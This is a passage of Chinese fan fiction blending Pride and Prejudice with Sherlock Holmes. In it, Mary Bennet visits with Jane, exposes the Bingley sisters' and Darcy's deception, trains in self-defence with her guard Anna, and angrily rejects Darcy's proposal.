郝德森太太也热情的给了简一个拥抱:“玛丽这个坏姑娘,她可从来没和我说过,有一个如此可人的姐姐,好了,外面可冷呢,快进来吧孩子,我给你们准备一些茶点,你们一定有许多知心话要说。” 玛丽高高兴兴的牵着简的手,二楼的夏洛克和华生正准备出门,看到简的是时候夏洛克微微颔首,让开了道路,华生先生倒是有些手足无措起来。 简确实是一个漂亮姑娘,温柔,端庄,当她冲着别人微笑时,仿佛打着柔光的油画活了过来,整个人都散发着一种古典的馨香。 华生先是点头,然后又忽然想起来似的,摘下帽子,再次点头示意:“您好……我是说早上好,小姐。” 简也微微点头:“早上好,先生。” 玛丽看着华生先生如此忐忑无措忽然笑了起来,她冲着简眨眨眼,露出一丝黠笑:“请容我介绍一下,这是我的两位朋友,夏洛克福尔摩斯先生,还有约翰华生先生,这是我最漂亮最善良,最贴心的姐姐,简班纳特。” 华生连忙鞠躬行礼:“早上好,班纳特小姐。” 夏洛克有些不耐烦起来:“好啦,约翰,我知道班纳特小姐是一个美丽的姑娘,可是她显然已经心有所属,你可没机会了,再这么打招呼,可就要问午安了,我们今天还有许多事情要忙呢!” 华生被说的面红耳赤,忍不住从背后偷偷给了夏洛克一拳头,指望他能有点眼色。 简也忍不住脸红起来,因为夏洛克所说的心有所属让她感到害羞和不安。 玛丽满不在乎的摆摆手:“简你可千万别在意,夏洛克就是这样的,他是一个比我更善于观察的先生,目前从事咨询侦探一职,夏洛克约翰,你们先去忙吧,如果没有意外,我今天都会在家里和简在一起的,当然,如果我出门了,会给郝德森太太留信的。” 夏洛克随意的点点头就带着华生下楼了,玛丽也带着简来到了三楼。 来到楼上之后安娜开了门,表示自己下楼去帮郝德森太太准备茶点。 玛丽将简拉到了沙发上坐下,两个女孩靠在长条沙发上,玛丽抱着简的胳膊忍不住追问道:“你来伦敦的事情,宾利先生知道么?” 简摇摇头:“先别说我了,你怎么会和两位先生合租?你对他们了解多少?” 玛丽端正了自己的姿势:“这是一个巧合,我是先认识的夏洛克,之前舅舅戒指的事情,夏洛克和他的哥哥麦考福特先生帮了大忙,我和他们成为了好朋友,我来到伦敦后租住了三楼的房间,夏洛克之前住在蒙塔古街,因为那里的房东先生不太好说话,他就想要搬家,我给他介绍了这里,约翰华生先生是一个退役的军医,是夏洛克的合租人,两人一起住在二楼,两位都是好先生,你尽管放心吧简。” 简调皮的眨了眨眼,看上去和伊丽莎白一样:“看上去两位都是不错的人,我真替你高兴玛丽,你有了朋友,也开心了许多,甚至变得开朗活泼了,妈妈会很高兴的。” 玛丽笑的喜气洋洋的:“当然,当然,简,我在伦敦体验了一些事情,真让人感到高兴,我原本想要来伦敦试试看,能不能找到一份大学里的实验室助理,哦,好吧,此项计划目前还在计划清单上,我之后会去尝试尝试,不过在这之前,我先和夏洛克一起探险,破获了一个凶杀案!” 简到抽一口冷气:“我的天哪!” 凶杀案! 简捂住胸口,感觉自己要被吓得喘不上气了! 玛丽倒是得意洋洋的,一点也不提自己被尸体吓吐了的场景:“我帮上了一点小忙,哦对了!这是我赚来的!” 提到这个,玛丽跑到了书桌边,抱来好几本书,一股脑的塞到简的怀里:“这是麦考福特先生昨天晚上才送来的,这是我靠自己帮忙赚来的。” 玛丽绝口不提这是自己受伤的补偿,她兴奋的炫耀自己的所得,希望能够得到家人的夸赞。 简却很担心的拉住了玛丽:“你受伤了嘛?有没有遇到危险?玛丽,我可真担心你!” 玛丽抱着简的腰部,将自己的脑袋靠在她的胸口:“别担心我,简,我现在可厉害了!” 一直到这里,玛丽又站起来,她一刻都坐不下来:“给你看,我的宝贝!” 将小手袋的手枪拿出来,玛丽得意极了:“我靠着这个,打中了好几个人呢!” 过于志得意满,以至于玛丽说出口才发现这句话可不该说出来。 简一下子站了起来:“打了好几个人!” 玛丽捂住嘴,不敢说话了,她的小眼睛在眼眶里转来转去,简可是从小看着玛丽长大的,一看就知道玛丽在准备说谎了! 简难得的摆出大姐姐的态度,这对她来说有些困难,在家里主要是伊丽莎白来教育玛丽的:“玛丽,你必须和我说实话,难道你要欺骗你的姐姐么!” 玛丽无奈的放下手里的小手枪,原本还像是小狗炫耀自己的大骨头,此刻小狗垂下头,两只手纠缠在一起,垂头丧气,时不时地还偷偷的抬头撇上两眼,只望“主人”消消气。 简一点都摆不出生气教训人的模样,但是她严肃的看着玛丽也足够吓人了。 玛丽:“我没什么事,麦考福特先生将我保护的很好,我一点都没受伤,他是个特别好的先生。” 简:“我听了说了好几次麦考福特先生,他是谁?为什么你和他在一起会需要用到手枪!玛丽,你必须告老老实实的告诉我,否则……否则我会写信给莉齐的!” 玛丽磨磨蹭蹭的走到了简的身边,小心的探出小拇指勾住了简的手指,看着简终于没那么严肃之后,玛丽才安抚她重新坐回沙发上。 简知道玛丽在伦敦乐不思蜀,毕竟来到伦敦一个月了,玛丽的信件还没送回家里,在出发来伦敦前爸爸还提醒她,一定要来看看玛丽,可千万别在伦敦闯出什么祸事。 玛丽刚要开口说话,安娜重新回来了。 看着玛丽一副可怜兮兮的小表情,安娜忍不住感慨道,看来玛丽小姐也有害怕的时候,在两位小姐面前送上茶水,还热情的介绍了郝德森太太的拿手小饼干以及司康。 因为有安娜的存在,简并没有追问玛丽,只是好脾气的听着安娜的介绍。 玛丽也在一边热情的倒茶,不住的劝简多尝尝看小饼干,郝德森太太做的姜汁饼干好吃极了! 安娜看着气氛缓和之后再次告退。 玛丽看着简喝下半杯热茶,吃了两口小饼干,自己也端起了茶杯,思考了片刻:“嗯,麦考福特先生是夏洛克的哥哥,他是一个特别好的先生,教会了我很多,如果你所说的我变得活泼开朗了,或许因为他告诉我如何坦诚的表达自己的感受。” 简忍不住回想起那位夏洛克先生,似乎是一个很聪明的绅士,虽然说话很是直白,但也不失坦诚,看得出来是个好先生,而且听着玛丽的说法,这位麦考福特先生也是个不错的人。 玛丽再次喝了一口热茶:“嗯,从某种程度来说,他也是我在爱情这门学业中的学习伙伴。” 简刚准备咬下一口饼干,此刻却觉得头脑空白,她放下饼干和茶杯,转头看向玛丽:“什么?” 玛丽低着头看着盘子,也顺手摸了一块饼干:“哦,如果用莉迪亚的话来形容,是的,我遇到了爱情。” 简确定自己没听错,下一秒她嘴唇微张,发出了感慨:“上帝呀!” 这次简确定了,她确实需要给莉齐写一封信了。 【作者有话说】 谁家好人六点下班以后开会,开到9点才结束啊!! 53 第53章 简当天晚上住在了玛丽的住所,打算明天再回去,两姐妹躺在一张床上,手牵着手小声的说着话。 在玛丽丢下爱情这颗重磅炸弹之后,简觉得自己的事情已经不算什么了,她迫不及待的想要知道更多关于这位先生的事情,可是玛丽也说不上更多。 一直到半梦半醒的时候,玛丽才反应过来,自己似乎对于麦考福特先生的了解并不多,这让玛丽很是愧疚。 第二天简吃过早餐后准备去拜访宾利小姐,这是之前就安排好的行程,玛丽并没什么特殊安排,决定和简一起走一趟。 两人和安娜一起出门,在坐上加德纳先生家的马车时简还显得有些忧心忡忡,倒不是为了自己,而是为了姐妹。 简总是这样,将家人的事情,别人的事情看的比自己的更重。 玛丽牵着简的手:“别太担心了简,宾利先生如果转头就爱上了别人,只能证明他是一个花花公子,这样的先生可不值得你爱,如果宾利先生并没有变心,只是宾利小姐从中作梗,那更没什么好担心的了,你总会有一个答案的。” 简只是微笑,并没有说什么,她满心里都是想着要怎么给莉齐写一封信,告诉她关于玛丽的事情,玛丽可太让人担心了,她自以为陷入了爱情,却连爱人都不了解。 今天的温度更低了一些外面的行人都穿上了厚衣服,先生小姐们都披上了厚实的斗篷和风衣,早晨的空气很不好,似乎刮起了什么风,工厂的灰尘裹挟浓雾,将路上的行人变成了灰色的阴影。 两人来到宾利先生在伦敦的住所时玛丽有些惊讶,格罗夫纳街距离蓓尔美尔街并不远,可以说相当近,能在这里有一套住所,恐怕宾利先生的收入要道听途说来的数额更多。 两人下车时玛丽不自觉的看向蓓尔美尔街的方向,简看着玛丽偏头看过去的位置,只是很普通的街道,并没什么特殊之处:“你在看什么?玛丽?” 玛丽摇摇头:“没什么,简,我只是随便看看。” 虽然这么回答,但是玛丽却知道,自己刚才似乎有一瞬间在幻想,麦考福特先生会不会忽然出现。 两人进了宾利家的住宅,这里和内瑟菲尔德庄园相差甚远,倒不是说伦敦的住所破败,毕竟格罗夫纳街的房子可算得上想当豪华,只是在伦敦这样一个城市内,想要有内瑟菲尔德这样的庄园可不是什么容易的事情,格罗夫纳街的住所更偏向一个大公寓。 整体高三层,左右各有四个窗户的宽度,看上去倒也还算符合宾利小姐高贵的审美。 两人进入公寓之后宾利小姐果然显出嘘寒问暖的态度,表达自己对两位班纳特小姐的欢迎。 宾利小姐:“真是想不到,竟然会在这里碰到玛丽小姐,真是意外之喜。” 玛丽学着麦考福特一般,皮笑肉不笑的带上虚假的面具,然后下一秒笑容就垮塌下来,一双眼睛几乎算是翻了个白眼的看了宾利小姐一眼,意外之喜?真是可笑,宾利小姐看到自己的时候那副见了鬼的模样可不像是喜悦的样子。 宾利小姐恐怕从没受过如此直白的羞辱,一时之间脸色都变得难堪起来。 还是赫斯托太太上前打了圆场,几个姑娘坐在会客厅里,仆人尽职尽责的送上茶点,玛丽坐在简的旁边,一时之间觉得可笑极了。 这间屋子里的几个人都是虚情假意的高手,宾利小姐表面装作热情的模样,实际上话里话外都在表示宾利先生已经移情别恋,赫斯托太太作为宾利小姐的姐妹,也在和她一唱一和,表达班纳特家可高攀不起她们这样的富裕家庭。 宾利小姐:“实在是不凑巧,达西小姐的钢琴出了点问题,查尔斯早上听说了这件事之后就急匆匆的出了门,他认识一位优秀的钢琴调音师,可以给达西小姐的钢琴调理调理,要知道达西小姐的弹奏真是优美极了,我从没听过比达西小姐更优秀的演奏家。” 玛丽忍不住打断了宾利小姐再一次对达西小姐的赞扬:“好了,宾利小姐,您说话的样子就像是达西家的世代忠仆,再也没有比达西小姐更优秀的小姐了是吗,真高兴您找到了您的灵魂伴侣。” 宾利小姐脸色涨红,手里的茶杯重重的放下:“玛丽小姐!我们是如此热情的招待你,难道你……你就是这样无礼的人么,这简直就是对我的羞辱!” 简连忙也放下茶杯:“不,不,玛丽只是……只是……” 玛丽说的话直白极了,再也没有比这更直白的羞辱了,简一时之间也想不到如何挽救此番情况。 赫斯托太太也很愤怒,她大喊着仆人的名字,显然是准备将两位小姐赶出去。 玛丽拉着简站了起来:“您根本就没打算将我们来这里的事情告诉宾利先生不是么?显而易见,这个家里除了您两位,还有一位先生在,我猜测是达西先生,他为什么不出来说说话呢?是因为他配合你们将宾利先生骗出门,所以不敢面对我们?我早就看出来了!如果真如你所说,达西小姐的钢琴出了问题,为什么作为哥哥的达西先生还在这里,宾利先生却出门了?你们真是太欺负人了,简,我们走!和他们这样虚情假意满嘴谎言的骗子可没什么好说的!” 简双眼通红,她当然听得出来宾利小姐和赫斯托太太的话,可是她依然抱有一丝希望,希望宾利先生并不是移情别恋,只要她能和宾利先生见上一面,两人说上话,她会知道对方的态度的。 达西先生终于不再避而不见,他刚才就在楼上的的连廊听着,当听到玛丽说他们是一群虚情假意,满嘴谎言的骗子时他忍不住感到内心刺痛。他想要辩解,却不知道从何辩解。 他们确实一大早就将宾利哄出了门,在收到班纳特小姐的来信后他们就已经下定决心,绝不会让宾利和班纳特小姐见面。 达西一次又一次的劝着宾利,班纳特的家庭并不是一个体面的家庭,他们的母亲,还有那两个几乎称得上放荡的妹妹,做律师的姨夫,还有做商人的舅舅,难道宾利要和这样的家庭成为姻亲么? 宾利的反驳却很坚定,哪怕班纳特小姐有一整条街道商人舅舅也无损于她的魅力,可是唯一会让宾利先生动摇的是达西的另一句话,班纳特小姐似乎对他并不特殊。 在内瑟菲尔德的时候,所有人都看得出来他对简的爱意,可是简似乎对所有人都一样,如果简并不爱他呢? 只有简并不爱他这一可能,让宾利真切的动摇了,他没有感受到简对他的特殊,哪怕一个眼神,一个微笑都没有,她总是那么彬彬有礼,和对待其他人一样。 达西在劝慰宾利的时候何尝不是在这么劝着自己,玛丽的家庭是如此的……荒唐,难道自己要一头扎进去么? 看到达西先生的时候玛丽的双眼饱含怒火,这让她绿色的瞳孔都显得格外闪亮,而这份怒火显然针对现场除了简的每个人。 当那双眼睛看向他的时候,达西只觉得自己的内心纠结又痛苦更带有一丝隐秘的喜悦,他喜悦于对方的眼中是如此完整的看到了自己,痛苦于那眼中饱含的愤怒和不屑。 玛丽几乎称得上滔滔不绝:“从一进门我就看到了,达西先生的帽子和外套还在门口放着呢,上面还带着一丝薄尘,都集中在左侧胳膊处,从今天早上就挂着西北风,只有今天早上这样的风会让衣服左侧都是尘土,显然是今天早上穿了出去,尚未来得及收拢清理的。 门边没有手杖,显然并不是出远门回来,他只是穿了外套在门外站了站,门口的马车印很新,显然是刚离开不久,这个屋子里除了达西先生,还有你们,我想不到还有其他人可以用两驾的马车出行,显而易见,你们一大早就将宾利先生哄出门了,如果是生意上的事情,恐怕达西先生会一起出门,可是他还在这里,所以根本和生意无关,你们还说了达西小姐的钢琴出了问题,真是天大的笑话,一个妹妹的钢琴出了问题,哥哥却逗留在别人家里,让他的朋友急匆匆出门,难道不可笑么!你们的谎言和你们的道德一样,让人觉得可笑!” 简在一边捂着脸,她忍不住要留下眼泪来,对于玛丽的话,她是相信的,如此直白的面对他人的欺骗,简的内心感到痛苦极了,她打从心底里认为自己和宾利小姐是朋友,可是朋友却如此欺骗伤害了她的情感。 达西在会客厅的门口踌躇不安,想要进来,却又似乎在面对什么洪水猛兽一般,不敢上前,他用所有的理智在压抑自己的内心,阻拦自己的躯体,不要迈出那一步。 玛丽牵着简的手转身离开,她无法忍受自己美好的姐姐被如此羞辱,她用了自己能想到最刻薄,最凶恶的态度面对那些伤害简的人,她要带着简离开这个荒唐的地方。 来到门口之后,玛丽请车夫将简送回格雷斯丘奇街,临走前简还握着玛丽的手,她的双眼饱含泪水,安娜站在一边一言不发,今天的玛丽就像是一头小狮子,横冲直撞的,对着每一个试图闯入她领地伤害她亲眷的外来者发出怒吼。 玛丽握着简的手:“你别担心简,我一定会想办法找到宾利先生,亲自问问他,到底是什么意思,我绝不允许你受到如此羞辱!绝不!我发誓!” 简用手帕捂着脸,一边流着泪一边伸手抚摸玛丽的小脸:“玛丽,算了,如果他对我还有情谊,不论他的姐妹们怎么说,他都会来找我的,可是他没有,我早该知道的。” 玛丽用脸颊蹭了蹭简的手,掌心上还带着一丝潮湿,是简的泪水。 看着马车离开的背影,玛丽愤愤的回头看了一眼,达西先生不知道什么时候来到了门厅,玛丽并没有再次上前质问什么,达西宁愿她质问一些话语,这样好歹还能再交谈几句,可是玛丽并没有,她只是瞪了一眼,就转身离开。 达西感到内心痛苦万分,他想要解释,那一连串的话语几乎就要脱口而出,却在最后被宾利小姐打断。 宾利小姐看着玛丽的背影:“真是一个无礼的小姐,如果有这样的一个女儿,简直就是家族的羞耻,不过幸好,班纳特家已经足够丢人了。” 54 第54章 玛丽甚至不知道自己走了多远,她只是很愤怒,安娜在后面追着走了一段路,等玛丽回过神来,已经不知不觉走到了蓓尔美尔街附近。 看着周围熟悉的街道,玛丽才回过神来,偷偷踢了一脚路边的街灯柱子。 当啷一声反而吓了玛丽自己一跳,安娜这才走上前来:“您打算做点什么呢?” 玛丽:“我想要查查看宾利先生的行踪,我要当面质问他,为什么要如此伤害简!” 安娜:“那您想用什么办法呢?” 玛丽张嘴想要说什么,可是张了张嘴却只是磕磕巴巴的憋出一句:“我不知道,没什么书里告诉我要如何探查别人的行踪。” 安娜笑着将手搭在玛丽的肩膀上,带着温度的手掌安抚了玛丽:“我有几个办法,您愿意听一听么?” 玛丽和安娜一起走着:“当然,还请说!” 安娜:“第一种最简单,也是最快速的办法。” 说完这句话,安娜指了指蓓尔美尔街的一栋房子,那是麦考福特先生的住所,安娜:“你只要上去敲敲门,留下一封口信,今天晚上先生就会将所有的消息和资料送到您的手上。” 还没等玛丽回答,安娜继续说道:“第二种,您可以自己出马,我听说您会一些变装的手法,这是很好的办法,您可以改变妆容,自己在住宅附近蹲点,等候那位宾利先生的归来。” 玛丽皱着眉头,似乎在思考这种可行性,安娜:“第三种,您可以请周围的流浪儿,报童,清道夫们做眼线,摸清楚这位先生的日常活动范围。” 这三种办法都是比较常见的,当然了,还有一些不常见的办法,不过安娜可不打算让玛丽小姐知道。 玛丽想了想,决定用第二种:“走吧,我们回去变装,我就不信今天蹲不到他!我可太生气了!” 安娜倒是愣了一下,她原以为玛丽小姐会选第一种或者第三种,可是万万没想到,会选择几乎是外人看来最笨的第二种。 没忍住,安娜开口问道:“您为什么不去问问先生呢?这不比您自己蹲守来的更方便一些么?或者让这些流浪汉报童作为眼线?” 玛丽:“可是这是我的事情,我觉得我能自己能做好的,麦考福特先生也有他自己的事情要做,我不想用我的事情打扰他,而且……诶,我这么说你可别笑话我,我在伦敦的生活要自己想办法赚点花费,目前来说,我大约是比较能吃的,我看了自己的存款,只够我再这么生活上三个月了,我得省点钱呀。” 在伦敦的吃吃喝喝可是一大笔花销,虽然没怎么表现出来,但是玛丽对于自己的存款还是有一些焦虑的。 除了之前赚了的50英镑,目前还没有其他收入,她当然可以压缩一下自己的支出,可是她除了阅读,就剩下一小点吃喝的乐趣了。 既然准备回家变装蹲点,玛丽也不再磨蹭,打算和安娜尽快回去。 两人准备转身离开,却有一个小姑娘上前:“小姐,漂亮的小姐,买一束花吧,您看看,多漂亮的花呀,用来装饰您的金发,一定美丽极了。” 小姑娘穿着的十分单薄,在冷风中瑟瑟发抖,篮子里的花倒是*很漂亮,甚至还带着水珠。 玛丽伸手握住那女孩的手,上面冷冰冰的:“天哪,你的身上可太冷了。” 孩子的脸颊都被冻红了说话都带着一股子哆哆嗦嗦:“好心的小姐,买一点花吧,如果我今天没有把花卖完,爸爸会打我的。” 玛丽从小手袋里掏出硬笔买下这一篮子花,秋日的花朵种类并不多,风信子算一个,淡蓝色的风信子美极了,还带着馨香的气味,玛丽买下了一整篮,只需要1先令, 女孩拿着1先令高兴的跑了两步又回过头给玛丽鞠了一躬:“您真是一个善良的小姐,祝您有美好的一天。” 玛丽抱着风信子走到了蓓尔美尔街,安娜看着玛丽抱着鲜花敲响了公寓的大门。 开门的依然是上次的管家,显然管家先生对于唯一一位曾经住过蓓尔美尔街的小姐印象深刻,玛丽并没有进门,只是将这一捧风信子递给了管家先生:“请交给麦考福特先生,就说是玛丽班纳特送他的。” 说完玛丽就离开了,书里说爱情是美食,是鲜花,是漂亮的珠宝,她目前尚未拥有那么多的财富,无法赠送麦考福特先生珠宝,但是鲜花还是可以送上一捧的。 安娜闷着头,一路憋着笑容,管家先生错愕的神情可是很难看到的。 两人回到贝克街,玛丽回到房间弄了好一会,再出门的时候依然变成了一个清秀的少年。 带着礼帽,衣服有些不合身,安娜从柜子里找出了针线:“我来帮你修改一下。” 玛丽按照安娜的要求将外套脱了下来,也不知道安娜是怎么弄的,似乎只是左边缝了几针,右边拆开一点又补了两下,衣服就变得合身了许多。 安娜重新让玛丽装扮上,玛丽左右转身,忍不住的看来看去:“安娜,你的手艺可太好了,我都没看清你怎么做的就修改的这么好。” 玛丽换上合身的衣服再次和安娜出门,格罗夫纳街是一个繁华的街道,花店,咖啡馆俱乐部应有尽有,但是玛丽一个都消费不了,她舍不得将亮闪闪的先令丢进咖啡杯里。两人就这么在街上闲逛,安娜挽着玛丽的胳膊,仿佛两人是一对过路人。 如果不看安娜比玛丽高上一个头的距离,两人倒是很相配,可是非常不幸,两人就这么蹲守了一天,竟然都没有等到宾利先生回来,一直到晚上八点多钟,安娜看了几次怀表,玛丽才垂头丧气的和安娜一起回到了贝克街。 夏洛克和华生似乎还没有回来,二楼安安静静的,玛丽和安娜两人回到家里,安娜去一楼给玛丽准备一些餐点,两人甚至午饭都没吃,一直饿到了现在。 因为已经很晚,安娜也没有准备什么需要久等的菜肴,就着一些简餐两人快速进食。 玛丽埋头吃着意面,她和安娜都饿坏了:“安娜,明天你不用陪我去了,我一个人可以的。” 安娜放下手里的餐叉:“恐怕不行,我得保护你的安全,小姐。” 玛丽吃掉最后一口意面也放下了餐叉:“我带着枪,可以吗?” 安娜甚至带着点无奈的起身,从玛丽随手放在桌子上的小手袋里掏出了手枪,将手枪里的唯一一颗子弹拿下来,安娜将手枪递给了玛丽:“小姐,如果你需要变装,你会将手枪放在哪里呢?” 玛丽看了看,将手枪放在了右边的裤子口袋里,安娜忍耐住自己眉心皱起的冲动,不断告诉自己,没关系,手枪里没有子弹。 眼看着枪管子都戳到玛丽小姐的大腿了,安娜也没有多说什么。 玛丽装好了手枪:“就这样,放在这里,如果遇到了危险,我可以立刻拿出来!” 安娜扯起嘴角:“很好,小姐,那么假设,现在我是一个打算对你动手的人,你准备掏枪,我数三个数字,然后动手,可以么?” 玛丽觉得三个数字绝对够自己拿出手枪,于是点了点头。 安娜开始倒数:3,2 然后玛丽被安娜一个过肩摔安稳的放在了长条沙发上。 玛丽甚至没反应过来,她还在等安娜倒数1呢,就这么短短一秒的功夫,安娜一个健步冲了上来,直接牵制住了她的肩膀和胳膊,一个背身就将玛丽摔倒在沙发上了。 安娜无奈的叹气:“小姐,时刻保持警惕,那些真的打算伤害您的人,可不会给你任何反应时间。” 玛丽躺在沙发上,眨了眨眼睛,看着空荡荡的天花板,然后从惊讶张开的小嘴里说出:“哇哦。” 安娜的平日里总是和和气气,带着微笑,说实话,玛丽一直觉得安娜的笑容和麦考福特先生如出一辙,当麦考福特先生将安娜派来保护她的时候,玛丽知道安娜一定是有些厉害手段的,但是这也太厉害了! 玛丽双膝并拢的跪坐在沙发上,再次认认真真的打量起安娜:“哇哦!” 安娜就这么站在这里任由玛丽打量,大约是脱掉了外袍,只穿了简单的衬衫,从桌上的烛光里身体的弧度和衬衫形成了一小片透明的薄影,臂膀上的线条并不粗狂,至少不如男性的肌肉那么蓬勃有力,但是也绝不是一般女性的瘦弱,纤和有度的肌肉线条在衬衫里几乎像是古希腊的雕塑一般显得那么柔美又有力量。 玛丽:“我可以学么?” 这样有力的身体,这样强健的攻击,玛丽想要学,玛丽想要感受那份支配自己身体的控制感,以一种充满力量的方式。 安娜原本只是想要告诉玛丽她哪怕拥有枪,也一定能完全保护自己,可万万没想到玛丽的思考方式完全不同于一般女性。 是啊,如果是一般女性,怎么会做出那么多匪夷所思的事情,安娜终于抬手揉了揉自己的眉头,她怎么会把玛丽当做一般女性呢! 玛丽激动的上前,小心的伸出手捏了捏安娜的肩膀和胳膊,可真有力气! 一整晚一直到安娜将玛丽哄着去睡觉前,玛丽都在叽叽喳喳的询问安娜,要如何训练才能有这么强健的体魄。 看着玛丽亮闪闪的双眼,安娜都不得不感叹,怎么,以后先生和玛丽小姐,要打算在家里自由搏击了,来倾诉他们之间不同寻常的爱情了? 安娜看着玛丽乖巧的躺在床上,现在她终于有些可怜自己的BOSS了。 对这样一个稀奇古怪满脑子奇思妙想的姑娘,恐怕他以后的爱情之路一定是不同寻常,充满了各种可爱坎坷的。 ———— 蓓尔美尔街的麦考福特此刻已经体会到了一丝甜蜜的坎坷了。 麦考福特这一生虽然还不算很长,但是截至目前为止,确实尚未收到过任何一位女性的鲜花。 在“爱情”这门学科上,玛丽大步迈进,以至于有些走偏了。 但是这条走偏的道路却让麦考福特忍不住觉得可爱极了。 她在想什么? 将自己在定位在和何处? 麦考福特一时之间有些甜蜜的烦恼,哎呀,自己是不是也该学着那些小姐一样收下花束,送上一个甜蜜的吻? 恐怕对玛丽小姐来说,她会很惊讶,然后坦然的当做是下一个要学习都课业。 这样的玛丽小姐,实在是过于可爱了一些。 麦考福特决定明日再问一问贝克街花店的转让事宜,可要快一些呀,否则下一次自己空着手去,可就要在学业上落后于玛丽小姐了。 55 第55章 第二天一大早醒来玛丽就直接穿了衬衫,她今日还打算去蹲守宾利先生。 安娜和玛丽正在吃着早餐,却听见门口传来敲门声。 玛丽:“是麦考福特先生送来的东西么?他前些日子说要送来一些东西。” 安娜上前开了门,可是门口并不是托马斯或者其他自己认识的人,反而是郝德森太太。 郝德森太太看到会客厅里穿着衬衫长裤的玛丽倒是吃了一惊,但是她自诩见多识广,绝不愿意表现出来:“有一位达西先生前来拜访,你需要换一下衣服吗,玛丽?” 玛丽很是奇怪,达西?这位先生来拜访什么?难道是来再次羞辱她和姐姐的么? 怀揣着这份愤怒,玛丽点点头:“是的,我确实认识他,请让他稍等吧。” 在外人的面前,玛丽也知道至少要遮掩几分,她不想给简惹麻烦,回房间换了衣服,因为是在家里,倒也没有穿的非常正式,只是普通的居家裙子,这样达西先生走了以后也可以换回衬衫。 在安娜下楼通知郝德森太太的时候,达西先生已经喝了两杯茶了,安娜不着痕迹的观察着这位先生,看上去倒也是个绅士,衣着得体,似乎财务状况也不错,得益于和玛丽小姐的相处,安娜也算是学会了几分观察的本事。 达西先生显得很焦灼,在和郝德森太太礼貌道别后跟随安娜上了三楼。 玛丽就在会客厅里等着,安娜一开始打算留在会客厅里,可是达西却礼貌的请安娜给两人一些空间。 安娜看了眼玛丽,玛丽虽然不知道什么情况,但是至少达西先生应该不是什么会动手的恶人,于是也同意安娜的暂时离开。 等到安娜离开后,玛丽端坐在沙发上,看着达西就在自己的面前来回踱步。 一时间玛丽想起了麦考福特先生,这样焦灼不安的样子倒是和麦考福特先生告白时像极了。 玛丽有些不耐烦起来:“如果您要说什么,还请尽快说吧,哪怕是一些刻薄的谎言,至少听完以后我们彼此能落个清净!” 达西觉得玛丽的话仿佛锋利的刀刃,刺穿了他的心:“不,我绝不想用谎言欺骗您,请您不要这么说。” 玛丽忍不住的翻了个白眼:“需要我提醒么,您昨天刚说的谎。” 达西垂头丧气的站在玛丽的面前:“是的……抱歉,我很抱歉小姐,可是那绝不是我的本意,好吧,我依然需要抱歉,那确实是欺骗,也来自于我的本意,要知道,您的姐姐和宾利……” 玛丽直接站起身打断了达西的话:“可以了,如果您只是想要过来说一些没有实际内容的话,那请您快走吧,我可没工夫听这些东西。” 这话说的粗鲁极了,几近当面赶客。 达西深吸一口气:“不,我是……我是,好吧,我必须和您说实话,我一直苦苦挣扎,可是我再也没办法忍受了,我无法压抑我的情感,我需要来告诉您,我是多么热烈的倾慕您。” 玛丽差点以为自己听错了,以至于再次问出了麦考福特先生表白时说出的那句话:“pardon?” 达西:“我很清楚我的这份情感是违背了家族和朋友们的期望的,更不用说我自己的理智,我知晓我们的家庭有着巨大的差距,我们之间的结合一定会饱受非议,作为一个理智的人,我确实是这样想的,我不愿意在这件事上同您说谎,但是这一切理由对我的压抑都是徒劳的。 我必须告诉您,第一次见您之后我就感受到了一种与众不同的心动,我对您产生了热烈的爱意和关切,舞会的人群众多,我却总是下意识的想要寻找到一双绿色的眼眸,我希望那双眼里能看见我,能看见我的的情感,即使我一再挣扎,我的情感依然超越了任何理智的反对,我诚心诚意的请求您,请让我不再痛苦,请您答应我的求婚。” 玛丽笑了,达西看着玛丽的笑下意识的开始心跳加速,难道她也爱慕着自己,上帝怜惜着他的信徒,愿意让他不再遭受爱神的折磨,愿意让他体会那一丝丝的甜蜜了么! 原来人在极度生气的时候,确实会笑出来。 玛丽发誓,她这一生截至目前,从没受到如此巨大的羞辱,以至于她太生气了,生气到笑了出来。 达西虔诚的单膝跪地,想要伸手握住爱人的手掌。 玛丽却立刻站了起来:“您如果是想要来羞辱我,激怒我,那么我不得不说,您的目的达到了先生,我会记住这份耻辱!” 达西慌乱的站了起来:“不,我绝无此意小姐!” 玛丽:“您可以离开了先生,您恐怕不想要面对我极度愤怒之下比您的谎言更加刻薄的言语。” 达西尴尬,无措又慌乱,他不知道为什么事情会变成这样,他认为自己已经将自己的痛苦,情感都一一表达清楚,为什么玛丽小姐的回应却如此刺痛人心。 “这就是我能得到的回应了么,如此残忍的拒绝么?”达西感觉自己快要哽咽起来,可是他还在强作镇定。 玛丽终于忍住带着怒火的笑容,板着脸问道:“您说那您爱慕我,您爱我什么?” 达西:“我起初并不认为您多么漂亮,但是您的双眼,充满了美丽的神气,您在舞会的边缘打量众人时那眼神中带着观望,总是游离于人群之外的孤独,这一切都让我忍不住的动心怜惜。更别说您的聪慧,是的,我听说了您关于那位赌棍先生的判断,您是一位观察力惊人又聪慧的小姐,我如何会不爱上您呢?” 玛丽继续说道:“哦,那看来您有十足的理由了,那么您爱我的方式,就是羞辱我么?” 达西连忙走到玛丽的身前:“不,我绝无羞辱您的意思,我是真切的爱着您。” 玛丽:“不,你有,你的言语已经彻彻底底的的说明你的意思,你爱我,却侮辱我,您羞辱我的家庭,伤害我的家人,蔑视我的人格,你爱上了我有损于你家庭的名声,损害了你的人格,让你觉得难以忍受是吗?您的爱情可真是高贵,以至于要踩着我的尊严来显现出来么?先生,或许我们的家庭收入并不一样,您的血统或许也甚是高贵,可是我不在乎,听清楚了么?我不在乎!” 内心几乎燃烧着熊熊的怒火,如果告白也分个高低分数,那恐怕达西的分数已经差到要从爱情这所学校退学了。 玛丽和达西面对面站着,哪怕她的身躯并不健壮,穿着也并不华丽,但是达西仿佛看见了一个战士,手里拿着利剑,此刻利剑穿透了他的胸膛。 “你爱我?难道你以为你表达了你的爱意,我就该欣喜若狂的接受么?你认为我的家庭并不富有,难道我就不配接受一份平等的爱了么!或许在世俗之人的眼中看来,我得到您的爱意真是上帝赐福,蒙获神恩,但是达西先生,恕我直言,在我看来您真是一个愚蠢至极的先生!您并不能跟上我的思维,无法理解我的世界,在您看来我游离于人群之外十分孤独,却不知道我的思想是如何富足。我们的心胸是一样开阔,灵魂是一样的丰满的。 您自以为是的你的爱突破了理智的樊笼,是天下第一份的爱,可是却没有想过,我的爱也一样,我的爱也是天下独一份的爱!不论别人如何看待,但是在看我来,我同您一样都是独立的,平等的人,如果我想要拥有一个爱人,那他应该学会尊重我的人格,不会将对我的爱视作一种羞耻,他会陪伴我一同学习如何去爱一个人,如何表达爱,如何感受爱,而不是用世俗的框架要求我,禁锢我。” 